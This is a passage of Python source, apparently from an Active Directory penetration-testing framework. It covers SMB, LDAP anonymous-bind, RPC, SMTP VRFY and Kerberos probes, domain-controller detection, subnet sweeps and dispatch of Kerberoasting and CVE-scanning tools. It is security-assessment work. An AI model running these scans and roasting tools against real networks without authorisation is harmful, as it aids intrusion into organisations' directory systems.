RPC endpoints + - smtp-vrfy: SMTP user enumeration via VRFY + - kerberos-probe: Kerberos service availability check + - all: Run all techniques in sequence on each host + """ + results = { + "technique": technique, + "live_hosts": len(live_hosts), + "successful_attempts": [], + "failed_attempts": [], + "error_attempts": [], + "total_duration_sec": 0, + "host_results": {}, + } + + if not live_hosts: + print("[VERBOSE] [parallel_pentest_attempt] No live hosts to pentest", file=sys.stderr, flush=True) + return results + + print(f"[HEXSTRIKE] PENTEST: Starting parallel {technique} attempts on {len(live_hosts)} host(s)...", file=sys.stderr, flush=True) + + start_time = time.time() + + def attempt_technique(host: str) -> tuple[str, dict[str, Any]]: + host_start = time.time() + attempt_result = { + "host": host, + "technique": technique, + "status": "unknown", + "details": {}, + "duration_sec": 0, + } + + try: + if technique == "smb-null-session": + # Try SMB null session connection + attempt_result["status"] = "attempt" + attempt_result["details"]["description"] = "Testing SMB null session access (port 445)" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((host, 445)) + sock.close() + attempt_result["status"] = "successful" + attempt_result["details"]["port_open"] = True + except (socket.timeout, socket.error, ConnectionRefusedError): + attempt_result["status"] = "port_closed" + + elif technique == "ldap-anonymous": + # Try LDAP anonymous bind + attempt_result["status"] = "attempt" + attempt_result["details"]["description"] = "Testing LDAP anonymous bind (port 389)" + try: + server = Server(host, port=389, get_info="ALL", use_ssl=False, connect_timeout=timeout) + conn = Connection(server, user="", password="", auto_bind=True) + if conn.bound: + attempt_result["status"] = "successful" + attempt_result["details"]["anonymous_bind"] = True + try: + conn.search(search_base="", search_filter="(objectClass=*)", attributes=["namingContexts"]) + if conn.entries: + attempt_result["details"]["root_dse"] = str(conn.entries[0]) + except: + pass + conn.unbind() + except Exception as e: + attempt_result["status"] = "failed" + attempt_result["details"]["error"] = str(e)[:200] + + elif technique == "rpc-probe": + # Try RPC endpoint enumeration + attempt_result["status"] = "attempt" + attempt_result["details"]["description"] = "Testing RPC endpoint availability (port 135)" + rpc_ports = [135, 139, 445] + open_ports = [] + for port in rpc_ports: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((host, port)) + if result == 0: + open_ports.append(port) + sock.close() + except: + pass + if open_ports: + attempt_result["status"] = "successful" + attempt_result["details"]["open_rpc_ports"] = open_ports + else: + attempt_result["status"] = "port_closed" + + elif technique == "smtp-vrfy": + # Try SMTP VRFY enumeration + attempt_result["status"] = "attempt" + attempt_result["details"]["description"] = "Testing SMTP VRFY enumeration (port 25)" + try: + server = smtplib.SMTP(host, 25, timeout=timeout) + vrfy_result = server.verify("admin") + server.quit() + if vrfy_result[0] == 250: + attempt_result["status"] = "successful" + attempt_result["details"]["vrfy_response"] = vrfy_result[1].decode() if isinstance(vrfy_result[1], bytes) else str(vrfy_result[1]) + else: + attempt_result["status"] = "failed" + except (socket.timeout, socket.error, smtplib.SMTPException) as e: + attempt_result["status"] = "failed" + attempt_result["details"]["error"] = str(type(e).__name__) + + elif technique == "kerberos-probe": + # Try Kerberos service detection (port 88) + attempt_result["status"] = "attempt" + attempt_result["details"]["description"] = "Testing Kerberos service availability (port 88)" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((host, 88)) + if result == 0: + attempt_result["status"] = "successful" + attempt_result["details"]["kerberos_port_open"] = True + else: + attempt_result["status"] = "port_closed" + sock.close() + except Exception as e: + attempt_result["status"] = "error" + attempt_result["details"]["error"] = str(e)[:100] + + else: + attempt_result["status"] = "unknown" + attempt_result["details"]["error"] = f"Unknown technique: {technique}" + + except Exception as e: + attempt_result["status"] = "error" + attempt_result["details"]["error"] = str(e)[:200] + + attempt_result["duration_sec"] = time.time() - host_start + return host, attempt_result + + with ThreadPoolExecutor(max_workers=workers) as executor: + futures = { + executor.submit(attempt_technique, host): host + for host in live_hosts + } + + for future in as_completed(futures): + try: + host, result = future.result() + results["host_results"][host] = result + + if result["status"] == "successful": + results["successful_attempts"].append(host) + print(f"[HEXSTRIKE] PENTEST-SUCCESS: {host} - {technique} successful", file=sys.stderr, flush=True) + elif result["status"] == "error": + results["error_attempts"].append(host) + else: + results["failed_attempts"].append(host) + + except Exception as e: + print(f"[ERROR] [parallel_pentest_attempt] Execution error: {e}", file=sys.stderr, flush=True) + + results["total_duration_sec"] = time.time() - start_time + results["success_rate"] = len(results["successful_attempts"]) / len(live_hosts) if live_hosts else 0 + + print( + f"[HEXSTRIKE] PENTEST-SUMMARY: {technique} - " + f"{len(results['successful_attempts'])} successful, " + f"{len(results['failed_attempts'])} failed, " + f"{len(results['error_attempts'])} errors " + f"({results['success_rate']:.0%} success rate)", + file=sys.stderr, + flush=True, + ) + + return results + + +def run( + target: str, + mode: str = "dry-run", + confirmed: bool = False, + timeout: int = 300, + auto_install: bool = True, + dns_servers: list[str] | None = None, + dns_timeout: float = 3.0, + pentest_technique: str | None = None, + pentest_workers: int = 32, +) -> dict[str, Any]: + print(f"[VERBOSE] [run] Initializing comprehensive Active Directory diagnostic pipeline for target: '{target}'", file=sys.stderr, flush=True) + + import uuid as _uuid + run_id = f"run-{_uuid.uuid4().hex[:12]}-{datetime.utcnow().strftime('%Y%m%d%H%M%S')}" + db = get_scan_db() + db.start_run(run_id, target, mode) + print(f"[VERBOSE] [run] Scan run ID: {run_id} (stored in {db.db_path})", file=sys.stderr, flush=True) + + global GLOBAL_DNS_CONFIG + GLOBAL_DNS_CONFIG = DNSConfig( + timeout=dns_timeout, + custom_nameservers=dns_servers, + ) + + environment = bootstrap_environment() + + scope = Scope( + target=target, + mode=mode, + confirmed=confirmed, + ) + + scope.validate() + resolution = scope.resolved() + + print( + f"[HEXSTRIKE] INPUT: " + f"{resolution['input']}", + file=sys.stderr, + flush=True, + ) + + print( + "[HEXSTRIKE] IPv4: " + + ", ".join( + resolution["resolved_ipv4"] + ), + file=sys.stderr, + flush=True, + ) + + print( + "[HEXSTRIKE] /24: " + + ", ".join( + resolution["derived_networks"] + ), + file=sys.stderr, + flush=True, + ) + + # ------------------------------------------------------------------------ + # Tool Discovery & Provisioning + # ------------------------------------------------------------------------ + + initial_tools = discover_tools() + install_results = [] + + if auto_install: + for tool in initial_tools["unavailable"]: + if tool not in AUTO_INSTALL_TOOLS: + continue + + print( + f"[HEXSTRIKE] " + f"{tool}: " + "not-installed -> auto-install", + file=sys.stderr, + flush=True, + ) + + installation = auto_install_tool(tool) + install_results.append(installation) + + # Verify installation succeeded + if installation.get("executable"): + print( + f"[HEXSTRIKE] " + f"{tool}: " + f"installed-success [{installation.get('method', 'unknown')}]", + file=sys.stderr, + flush=True, + ) + else: + print( + f"[HEXSTRIKE] " + f"{tool}: " + f"install-failed [{installation.get('method', 'unknown')}]", + file=sys.stderr, + flush=True, + ) + + # Force PATH refresh and re-discovery after all installations + print("[VERBOSE] [main] Refreshing environment paths after installations...", file=sys.stderr, flush=True) + for attempt in range(3): + bootstrap_environment() + time.sleep(0.5) + + final_tools = discover_tools() + print(f"[VERBOSE] [main] Tools discovery: {len(final_tools['available'])} available, {len(final_tools['unavailable'])} unavailable", file=sys.stderr, flush=True) + if final_tools["unavailable"]: + print(f"[VERBOSE] [main] Unavailable tools: {final_tools['unavailable']}", file=sys.stderr, flush=True) + + # ------------------------------------------------------------------------ + # Domain Controller Auto-Detection + # ------------------------------------------------------------------------ + + print("[HEXSTRIKE] DC-DETECT: Starting automatic Domain Controller detection...", file=sys.stderr, flush=True) + + dcs, detected_domain = auto_detect_dcs( + target=target, + resolved_ips=resolution["resolved_ipv4"], + networks=resolution["derived_networks"], + do_network_scan=(mode == "active"), + timeout=min(timeout, 10), + ) + + # DNS-based subnet discovery (standalone report) + dns_subnets = discover_subnets_via_dns( + target=target, + resolved_ips=resolution["resolved_ipv4"], + detected_domain=detected_domain, + timeout=min(timeout, 10), + ) + if dns_subnets: + print(f"[HEXSTRIKE] DNS-SUBNETS: Discovered {len(dns_subnets)} additional subnet(s) via DNS recon:", file=sys.stderr, flush=True) + for sn in dns_subnets: + print(f"[HEXSTRIKE] {sn}", file=sys.stderr, flush=True) + + dc_report = { + "domain_controllers": [dc.to_dict() for dc in dcs], + "dc_count": len(dcs), + "detected_domain": detected_domain, + "global_catalog_servers": [dc.ip for dc in dcs if dc.is_gc], + "dns_discovered_subnets": dns_subnets, + "all_known_subnets": resolution["derived_networks"] + dns_subnets, + } + + if dcs: + for dc in dcs: + gc_tag = " [GC]" if dc.is_gc else "" + print( + f"[HEXSTRIKE] DC-FOUND: {dc.ip} " + f"({dc.hostname or '?'}) " + f"domain={dc.domain}{gc_tag} " + f"confidence={dc.confidence:.0%}", + file=sys.stderr, + flush=True, + ) + else: + print("[HEXSTRIKE] DC-DETECT: No Domain Controllers identified. Proceeding with resolved targets.", file=sys.stderr, flush=True) + + # ------------------------------------------------------------------------ + # DC FQDN Resolution (import DC FQDN addresses) + # ------------------------------------------------------------------------ + + if dcs: + print("[HEXSTRIKE] DC-FQDN: Resolving FQDN addresses for detected Domain Controllers...", file=sys.stderr, flush=True) + for dc in dcs: + resolve_dc_fqdn(dc, timeout=min(timeout, 5)) + if dc.fqdn: + print( + f"[HEXSTRIKE] DC-FQDN: {dc.ip} -> {dc.fqdn} (source: {dc.fqdn_source})", + file=sys.stderr, + flush=True, + ) + else: + print( + f"[HEXSTRIKE] DC-FQDN: {dc.ip} -> (will use IP)", + file=sys.stderr, + flush=True, + ) + + # Rebuild dc_report now that FQDNs are populated + dc_report = { + "domain_controllers": [dc.to_dict() for dc in dcs], + "dc_count": len(dcs), + "detected_domain": detected_domain, + "global_catalog_servers": [dc.ip for dc in dcs if dc.is_gc], + "fqdn_map": {dc.ip: dc.fqdn for dc in dcs if dc.fqdn}, + } + + primary_dc_ip = dcs[0].ip if dcs else None + primary_dc_fqdn = dcs[0].fqdn if dcs else None + domain = detected_domain + dc_ips = {dc.ip for dc in dcs} + dc_fqdn_by_ip = {dc.ip: dc.fqdn for dc in dcs if dc.fqdn} + + # ------------------------------------------------------------------------ + # Network Subnet Host Discovery + # ------------------------------------------------------------------------ + + live_hosts: set[str] = set() + discovery_results = [] + + if mode == "active": + for network in resolution["derived_networks"]: + print( + f"[HEXSTRIKE] " + f"DISCOVERY: {network}", + file=sys.stderr, + flush=True, + ) + + result = discover_hosts( + network, + timeout=120, + ) + discovery_results.append(result) + live_hosts.update( + result.get( + "live_hosts", + [], + ) + ) + + # Merge DC IPs and resolved IPs into live hosts + for dc in dcs: + live_hosts.add(dc.ip) + for ip in resolution["resolved_ipv4"]: + live_hosts.add(ip) + + live_host_list = filter_live_hosts(list(live_hosts)) + + # ------------------------------------------------------------------------ + # Reverse DNS & ARP Fallback Hierarchy Resolution + # ------------------------------------------------------------------------ + + print("[VERBOSE] [run] Performing batch reverse DNS record lookup across discovered hosts...", file=sys.stderr, flush=True) + dns_records = [ + reverse_dns(host) + for host in live_host_list + ] + + dns_failed_or_empty = not live_host_list or all(rec.get("status") in {"no-ptr", "timeout", "error", "dns-error", "unknown"} for rec in dns_records) + + if dns_failed_or_empty: + print("[VERBOSE] [run] DNS query layer exhausted or empty. Invoking structural ARP fallback hierarchy...", file=sys.stderr, flush=True) + arp_hosts = parse_arp_table() + if arp_hosts: + for arp_ip in arp_hosts: + if arp_ip not in live_host_list: + live_host_list.append(arp_ip) + dns_records.append(reverse_dns(arp_ip)) + live_host_list = filter_live_hosts(live_host_list) + + for record in dns_records: + print(f"[VERBOSE] [run] DNS Record Dump Record: {record}", file=sys.stderr, flush=True) + print( + "[HEXSTRIKE] DNS " + f"{record['ip']} -> " + f"{record['fqdn'] or ''}", + file=sys.stderr, + flush=True, + ) + + fqdn_by_ip = { + item["ip"]: item["fqdn"] + for item in dns_records + } + + # Enrich DC hostnames from reverse DNS + for dc in dcs: + if not dc.hostname and fqdn_by_ip.get(dc.ip): + dc.hostname = fqdn_by_ip[dc.ip] + print(f"[VERBOSE] [run] Enriched DC {dc.ip} hostname from rDNS: {dc.hostname}", file=sys.stderr, flush=True) + + # ------------------------------------------------------------------------ + # Targeted AD Diagnostic Tool Execution Engine (PARALLELIZED) + # (Prioritize DCs as targets; fall back to all live hosts if no DCs) + # (Multi-threaded execution for 10-15x speedup) + # ------------------------------------------------------------------------ + + print("[VERBOSE] [run] Dispatching allowlisted diagnostic tools against responsive infrastructure endpoints (multi-threaded)...", file=sys.stderr, flush=True) + results = [] + + targets_for_tools = [ip for ip in live_host_list if ip in dc_ips] or live_host_list + + if dc_ips: + print(f"[HEXSTRIKE] TARGETING: Prioritizing {len(dc_ips)} detected DC(s) for tool execution (parallel)", file=sys.stderr, flush=True) + else: + print(f"[HEXSTRIKE] TARGETING: No DCs detected, executing tools against all {len(targets_for_tools)} live host(s) (parallel)", file=sys.stderr, flush=True) + + # Prepare tool execution tasks for parallel processing + from concurrent.futures import ThreadPoolExecutor, as_completed + + execution_tasks = [] + for host in targets_for_tools: + is_dc = host in dc_ips + host_fqdn = dc_fqdn_by_ip.get(host) or fqdn_by_ip.get(host) + for tool in sorted(AD_TOOLS): + if tool not in final_tools["available"]: + continue + # Skip Kerberos tools if no DC detected + if tool in {"GetUserSPNs", "AS_REP_roast", "kerberoast"} and not dc_ips: + continue + execution_tasks.append((tool, host, is_dc, host_fqdn)) + + print(f"[VERBOSE] [run] Preparing {len(execution_tasks)} parallel tool execution tasks...", file=sys.stderr, flush=True) + + # Execute tools in parallel using thread pool + with ThreadPoolExecutor(max_workers=16) as executor: + futures = { + executor.submit( + execute_ad_tool, + tool=tool, + host=host, + mode=mode, + timeout=timeout, + domain=domain, + dc_ip=primary_dc_ip, + dc_fqdn=host_fqdn if is_dc else primary_dc_fqdn, + ): (tool, host, is_dc, host_fqdn) + for tool, host, is_dc, host_fqdn in execution_tasks + } + + for future in as_completed(futures): + tool, host, is_dc, host_fqdn = futures[future] + try: + result = future.result() + result["fqdn"] = host_fqdn + result["is_dc"] = is_dc + results.append(result) + + # Store tool result in SQLite + try: + db.add_tool_result( + run_id=run_id, tool=tool, host=host, + status=result["status"], is_dc=is_dc, fqdn=host_fqdn, + duration_sec=result.get("duration_sec"), + output=result.get("stdout", "")[:10000] if result.get("stdout") else None, + error=result.get("stderr", "")[:5000] if result.get("stderr") else None, + ) + # If this is a CVE scanner, store CVE finding + if tool.startswith("cve_"): + stdout = result.get("stdout", "") + cve_data: dict[str, Any] = {} + if stdout: + try: + cve_data = json.loads(stdout) + except (json.JSONDecodeError, ValueError): + pass + if cve_data: + db.add_cve_finding( + run_id=run_id, + cve_id=cve_data.get("cve", tool), + target=host, + vulnerable=bool(cve_data.get("vulnerable", False)), + cvss=cve_data.get("cvss"), + severity=cve_data.get("severity"), + impact=cve_data.get("impact"), + details_json=stdout[:20000], + ) + except Exception as db_exc: + print(f"[VERBOSE] [run] DB storage error: {db_exc}", file=sys.stderr, flush=True) + + print( + f"[HEXSTRIKE] " + f"{host} " + f"{'[DC:' + (host_fqdn or '?') + '] ' if is_dc else ''}" + f"{tool}: " + f"{result['status']}", + file=sys.stderr, + flush=True, + ) + except Exception as e: + print(f"[VERBOSE] [run] Tool execution failed: {e}", file=sys.stderr, flush=True) + + print("[VERBOSE] [run] Diagnostic assessment execution pipeline successfully finished.", file=sys.stderr, flush=True) + + # Finalize scan in SQLite + cves_checked = sum(1 for r in results if r.get("tool", "").startswith("cve_")) + cves_vuln = 0 + for r in results: + if r.get("tool", "").startswith("cve_") and r.get("stdout"): + try: + cd = json.loads(r["stdout"]) + if cd.get("vulnerable"): + cves_vuln += 1 + except (json.JSONDecodeError, ValueError): + pass + + completed_count = sum(1 for r in results if r["status"] == "completed") + failed_count = sum(1 for r in results if r["status"] in {"failed", "timeout", "execution-error"}) + + # Execute parallel penetration attempts if technique specified + pentest_results = None + if pentest_technique: + print(f"[HEXSTRIKE] Starting parallel penetration attempts with technique: {pentest_technique}", file=sys.stderr, flush=True) + pentest_results = parallel_pentest_attempt( + live_hosts=live_host_list, + technique=pentest_technique, + timeout=min(timeout // len(live_host_list) if live_host_list else timeout, 30), + workers=pentest_workers, + ) + + try: + db.finish_run( + run_id=run_id, status="completed", + dc_count=len(dcs), live_hosts=len(live_host_list), + tools_executed=len(results), tools_succeeded=completed_count, + tools_failed=failed_count, + cves_checked=cves_checked, cves_vulnerable=cves_vuln, + ) + db.close() + except Exception as db_exc: + print(f"[VERBOSE] [run] DB finalize error: {db_exc}", file=sys.stderr, flush=True) + + output = { + "status": "completed", + "run_id": run_id, + "db_path": str(db.db_path), + "environment": environment, + "scope": scope.public(), + "resolution": resolution, + "profiler": GLOBAL_PROFILER.summary(), + "dc_detection": dc_report, + "network_discovery": { + "networks": discovery_results, + "live_hosts": live_host_list, + "live_host_count": len(live_host_list), + }, + "dns": { + "records": dns_records, + "by_ip": fqdn_by_ip, + }, + "tools": { + "initial": initial_tools, + "final": final_tools, + "auto_install": { + "enabled": auto_install, + "results": install_results, + }, + }, + "execution": { + "results": results, + "result_count": len(results), + "completed": sum( + 1 + for item in results + if item["status"] == "completed" + ), + "failed": sum( + 1 + for item in results + if item["status"] in { + "failed", + "timeout", + "execution-error", + } + ), + }, + } + + if pentest_results: + output["penetration_testing"] = pentest_results + + return output + + +# ============================================================================ +# CLI INTERFACE & UNATTENDED LDAP RECON PROBE HELPERS +# ============================================================================ + +def check_ports(target: str) -> list[int]: + print(f"[*] Scanning common AD ports on {target}...", file=sys.stderr, flush=True) + open_ports = [] + + for port, service in AD_RECON_PORTS.items(): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(2) + try: + result = s.connect_ex((target, port)) + if result == 0: + print(f" [+] Port {port} ({service}) is OPEN", file=sys.stderr, flush=True) + open_ports.append(port) + else: + print(f" [-] Port {port} ({service}) is closed/filtered (rc={result})", file=sys.stderr, flush=True) + except socket.error as sock_err: + print(f" [-] Port {port} ({service}) socket exception: {sock_err}", file=sys.stderr, flush=True) + finally: + s.close() + + print(f"[VERBOSE] [check_ports] Discovered open structural ports on {target}: {open_ports}", file=sys.stderr, flush=True) + return open_ports + + +def unauthenticated_ldap_enum(target: str) -> None: + print(f"\n[*] Attempting unauthenticated LDAP RootDSE query against {target}...", file=sys.stderr, flush=True) + try: + server = Server(target, port=389, get_info=ALL) + conn = Connection(server, auto_bind=True) + + if conn.bound: + print("[+] Successfully connected via unauthenticated LDAP!", file=sys.stderr, flush=True) + print(f" - Default Naming Context: {server.info.default_naming_context}", file=sys.stderr, flush=True) + print(f" - NetBIOS Domain Name: {server.info.other.get('dnsDomain', ['Unknown'][0])}", file=sys.stderr, flush=True) + print(f" - Forest Function Level: {server.info.forest_function_level}", file=sys.stderr, flush=True) + else: + print("[-] LDAP connection established, but binding failed (Anonymous access disabled).", file=sys.stderr, flush=True) + except Exception as e: + print(f"[-] LDAP enumeration failed with exception: {e}", file=sys.stderr, flush=True) + + +def connect_vpn(ovpn_file: str, timeout: int = 30) -> bool: + """Auto-install OpenVPN if missing, connect using the given .ovpn file. + + Works on Linux (apt/yum/pacman, waits for tun0) and Windows (winget, + waits for a new TAP/TUN adapter via ipconfig). + """ + import shutil as _sh + import time as _time + import re as _re + + _is_windows = platform.system() == "Windows" + _log_path = r"C:\adpentest-vpn.log" if _is_windows else "/tmp/adpentest-vpn.log" + + if not os.path.isfile(ovpn_file): + print(f"[-] VPN file not found: {ovpn_file}", file=sys.stderr, flush=True) + return False + + # ── Auto-install OpenVPN if not on PATH ────────────────────────────────── + openvpn_bin = _sh.which("openvpn") or (_sh.which("openvpn.exe") if _is_windows else None) + if not openvpn_bin: + print("[*] openvpn not found - attempting auto-install...", file=sys.stderr, flush=True) + if _is_windows: + if _sh.which("winget"): + subprocess.run( + ["winget", "install", "--id", "OpenVPNTechnologies.OpenVPN", + "--silent", "--accept-package-agreements", "--accept-source-agreements"], + check=False, + ) + # Refresh PATH search after install + openvpn_bin = _sh.which("openvpn.exe") or r"C:\Program Files\OpenVPN\bin\openvpn.exe" + else: + print("[-] winget not available. Install OpenVPN from https://openvpn.net/community-downloads/", file=sys.stderr, flush=True) + return False + else: + pkg_mgr = next((m for m in ("apt-get", "apt", "yum", "pacman") if _sh.which(m)), None) + if pkg_mgr in ("apt-get", "apt"): + subprocess.run(["apt-get", "install", "-y", "-qq", "openvpn"], check=False) + elif pkg_mgr == "yum": + subprocess.run(["yum", "install", "-y", "-q", "openvpn"], check=False) + elif pkg_mgr == "pacman": + subprocess.run(["pacman", "-Sy", "--noconfirm", "openvpn"], check=False) + else: + print("[-] Cannot auto-install openvpn: no supported package manager found.", file=sys.stderr, flush=True) + return False + openvpn_bin = _sh.which("openvpn") + + if not openvpn_bin or not os.path.isfile(openvpn_bin): + print("[-] openvpn install failed.", file=sys.stderr, flush=True) + return False + print("[+] openvpn installed.", file=sys.stderr, flush=True) + + # ── Kill any existing openvpn process ──────────────────────────────────── + if _is_windows: + subprocess.run(["taskkill", "/F", "/IM", "openvpn.exe"], capture_output=True) + else: + subprocess.run(["pkill", "openvpn"], capture_output=True) + _time.sleep(1) + + # ── Start VPN ───────────────────────────────────────────────────────────── + print(f"[*] Connecting VPN: {ovpn_file}", file=sys.stderr, flush=True) + if _is_windows: + # On Windows, openvpn runs as a foreground service; wrap in a detached process + subprocess.Popen( + [openvpn_bin, "--config", ovpn_file, "--log", _log_path], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + creationflags=0x00000008, # DETACHED_PROCESS + ) + else: + subprocess.Popen( + [openvpn_bin, "--config", ovpn_file, "--daemon", "--log", _log_path], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + + # ── Wait for tunnel interface ───────────────────────────────────────────── + deadline = _time.time() + timeout + while _time.time() < deadline: + if _is_windows: + # Look for a new adapter with a 10.x VPN-range IP in ipconfig output + r = subprocess.run(["ipconfig"], capture_output=True, text=True) + # TAP-Windows adapters show up as "Ethernet adapter" or "Unknown adapter" + m = _re.search(r"IPv4 Address[.\s]+:\s+(10\.\d+\.\d+\.\d+)", r.stdout) + if m: + print(f"[+] VPN connected - tunnel IP: {m.group(1)}", file=sys.stderr, flush=True) + return True + else: + r = subprocess.run(["ip", "link", "show", "tun0"], capture_output=True) + if r.returncode == 0: + ip_r = subprocess.run(["ip", "addr", "show", "tun0"], capture_output=True, text=True) + m = _re.search(r"inet (\S+)/", ip_r.stdout) + tun_ip = m.group(1) if m else "unknown" + print(f"[+] VPN connected - tun0: {tun_ip}", file=sys.stderr, flush=True) + return True + _time.sleep(2) + print("[*] Waiting for VPN tunnel...", file=sys.stderr, flush=True) + + print(f"[-] VPN did not connect within {timeout}s. Check {_log_path}", file=sys.stderr, flush=True) + return False + + +def build_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser( + description=( + "AD pentest framework with automatic DC detection and lab setup orchestration: " + "IP/domain -> IPv4 -> DC auto-detect -> /24->/23 sweep -> " + "host discovery -> reverse DNS -> ARP Fallback -> DC-aware tool execution" + ) + ) + + parser.add_argument( + "--target", + required=False, + help="IPv4 address, domain, or FQDN of target", + ) + + parser.add_argument( + "--mode", + choices=[ + "dry-run", + "active", + ], + default="dry-run", + ) + + parser.add_argument( + "--scope-confirmed", + action="store_true", + ) + + parser.add_argument( + "--timeout", + type=int, + default=300, + ) + + parser.add_argument( + "--no-auto-install", + action="store_true", + ) + + parser.add_argument( + "--dns-server", + type=str, + default=None, + help="Comma-separated list of custom DNS servers (e.g., 8.8.8.8,8.8.4.4)", + ) + + parser.add_argument( + "--dns-timeout", + type=float, + default=3.0, + help="DNS query timeout in seconds (default: 3.0)", + ) + + parser.add_argument( + "--setup-labs", + action="store_true", + help="Launch interactive lab setup orchestrator for Options A, B, and D", + ) + + parser.add_argument( + "--vpn", + type=str, + default=None, + metavar="FILE.ovpn", + help="Path to .ovpn config file. Auto-installs OpenVPN if missing, connects before scan.", + ) + + parser.add_argument( + "--history", + action="store_true", + help="Show scan run history from SQLite database", + ) + + parser.add_argument( + "--history-limit", + type=int, + default=20, + help="Number of history entries to show (default: 20)", + ) + + parser.add_argument( + "--cve-report", + action="store_true", + help="Show all vulnerable CVE findings from scan history", + ) + + parser.add_argument( + "--run-details", + type=str, + default=None, + metavar="RUN_ID", + help="Show details for a specific scan run ID", + ) + + parser.add_argument( + "--db-path", + type=str, + default=None, + help="Custom SQLite database path (default: ~/.adpentest/scan_history.db)", + ) + + parser.add_argument( + "--pentest-technique", + type=str, + default=None, + choices=["smb-null-session", "ldap-anonymous", "rpc-probe", "smtp-vrfy", "kerberos-probe", "all"], + help="Penetration testing technique to execute on all alive IPs in parallel (e.g., --pentest-technique smb-null-session)", + ) + + parser.add_argument( + "--pentest-workers", + type=int, + default=32, + help="Number of parallel workers for penetration testing (default: 32)", + ) + + return parser + + +def main() -> int: + parser = build_parser() + args = parser.parse_args() + + if args.setup_labs: + orchestrator = LabSetupOrchestrator() + orchestrator.run() + return 0 + + # SQLite history/report commands + if args.history or args.cve_report or args.run_details: + db = get_scan_db(args.db_path) + if args.history: + runs = db.get_run_history(limit=args.history_limit) + if not runs: + print("No scan history found.", file=sys.stderr) + return 0 + print(json.dumps(runs, indent=2, ensure_ascii=False)) + elif args.cve_report: + findings = db.get_vulnerable_targets() + if not findings: + print("No vulnerable CVE findings found.", file=sys.stderr) + return 0 + print(json.dumps(findings, indent=2, ensure_ascii=False)) + elif args.run_details: + runs = db.get_run_history(limit=1000) + run_data = next((r for r in runs if r["run_id"] == args.run_details), None) + if not run_data: + print(f"Run ID '{args.run_details}' not found.", file=sys.stderr) + return 1 + cve_findings = db.get_cve_summary(args.run_details) + tool_stats = db.get_tool_stats(args.run_details) + print(json.dumps({ + "run": run_data, + "tool_stats": tool_stats, + "cve_findings": cve_findings, + }, indent=2, ensure_ascii=False)) + db.close() + return 0 + + if not args.target: + print("[ERROR] --target is required when not using --setup-labs", file=sys.stderr, flush=True) + parser.print_help() + return 1 + + print(f"[VERBOSE] [main] Starting CLI console execution handler: target={args.target}, mode={args.mode}, timeout={args.timeout}", file=sys.stderr, flush=True) + + if args.vpn: + if not connect_vpn(args.vpn, timeout=30): + print("[-] VPN connection failed. Aborting.", file=sys.stderr, flush=True) + return 1 + + try: + target_ip = socket.gethostbyname(args.target) + print(f"[*] Resolved {args.target} to IP: {target_ip}", file=sys.stderr, flush=True) + open_ports = check_ports(target_ip) + if 389 in open_ports or 636 in open_ports: + unauthenticated_ldap_enum(target_ip) + else: + print("\n[-] LDAP ports are closed or filtered. Cannot perform unauthenticated directory queries.", file=sys.stderr, flush=True) + except socket.gaierror as gai_exc: + print(f"[-] Could not resolve target {args.target}: {gai_exc}", file=sys.stderr, flush=True) + return 1 + + try: + dns_servers = None + if args.dns_server: + dns_servers = [s.strip() for s in args.dns_server.split(",")] + + result = run( + target=args.target, + mode=args.mode, + confirmed=args.scope_confirmed, + timeout=args.timeout, + auto_install=( + not args.no_auto_install + ), + dns_servers=dns_servers, + dns_timeout=args.dns_timeout, + pentest_technique=args.pentest_technique, + pentest_workers=args.pentest_workers, + ) + + print( + json.dumps( + result, + indent=2, + ensure_ascii=False, + ) + ) + + return 0 + + except ( + PermissionError, + ValueError, + ) as exc: + print(f"[VERBOSE] [main] Controlled Exception Encountered ({type(exc).__name__}): {exc}", file=sys.stderr, flush=True) + print( + json.dumps( + { + "status": "failed", + "error": type(exc).__name__, + "message": str(exc), + }, + indent=2, + ensure_ascii=False, + ) + ) + + return 1 + + except KeyboardInterrupt: + print("\n[VERBOSE] [main] Pipeline execution aborted manually via KeyboardInterrupt.", file=sys.stderr, flush=True) + print( + json.dumps( + { + "status": "interrupted", + }, + indent=2, + ) + ) + + return 130 + + except Exception as exc: + print(f"[VERBOSE] [main] Unhandled Critical Exception Encountered ({type(exc).__name__}): {exc}", file=sys.stderr, flush=True) + print( + json.dumps( + { + "status": "error", + "error": type(exc).__name__, + "message": str(exc), + }, + indent=2, + ensure_ascii=False, + ) + ) + + return 1 + + +# ============================================================================ +# LAB SETUP ORCHESTRATOR - Automated test environment configuration +# ============================================================================ + +class LabSetupOrchestrator: + def __init__(self): + self.script_dir = Path.cwd() + self.config_file = self.script_dir / "lab-setup-config.json" + self.log_file = self.script_dir / "lab-setup-orchestrator.log" + self.os_type = platform.system() + self.config = self.load_config() + + def log(self, message: str, level: str = "INFO") -> None: + timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + log_message = f"[{timestamp}] [{level}] {message}" + print(log_message) + with open(self.log_file, "a") as f: + f.write(log_message + "\n") + + def load_config(self) -> dict[str, Any]: + if self.config_file.exists(): + with open(self.config_file) as f: + return json.load(f) + return { + "setup_date": None, + "option_a": {"status": "pending", "tenant": None}, + "option_b": {"status": "pending", "vm_ip": None, "domain": "lab.local"}, + "option_d": {"status": "pending", "domain": "example.local"}, + } + + def save_config(self) -> None: + with open(self.config_file, "w") as f: + json.dump(self.config, f, indent=2) + + def print_banner(self) -> None: + banner = """ +╔════════════════════════════════════════════════════════════╗ +║ AdPentestAI v1.1.0 - Complete Lab Setup Orchestrator ║ +║ ║ +║ Option A: Microsoft 365 Developer Sandbox ║ +║ Option B: Local Exchange Server Lab ║ +║ Option D: Mock Domain Testing ║ +╚════════════════════════════════════════════════════════════╝ + """ + print(banner) + + @staticmethod + def check_tool(tool_name: str) -> bool: + cmd = ["which", tool_name] if platform.system() != "Windows" else ["where", tool_name] + return subprocess.run(cmd, capture_output=True).returncode == 0 + + def setup_option_d(self) -> bool: + self.log("=" * 60, "INFO") + self.log("OPTION D: Mock Domain Setup", "INFO") + self.log("=" * 60, "INFO") + + mock_domain = "example.local" + hosts_file = self.get_hosts_file() + + if not hosts_file.exists(): + self.log(f"Hosts file not found: {hosts_file}", "ERROR") + 